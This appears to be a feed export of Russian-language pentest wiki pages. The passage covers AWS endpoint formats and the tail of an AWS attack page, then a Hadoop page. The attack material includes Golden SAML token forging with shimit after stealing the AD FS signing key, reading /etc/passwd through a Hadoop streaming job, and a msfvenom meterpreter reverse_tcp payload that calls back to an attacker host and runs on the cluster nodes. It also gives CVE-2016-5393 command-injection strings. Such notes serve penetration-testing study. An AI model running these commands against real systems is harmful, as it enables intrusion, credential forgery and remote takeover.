sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1207</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1207"/>
				<updated>2022-09-16T11:57:35Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Admin service */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flume*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
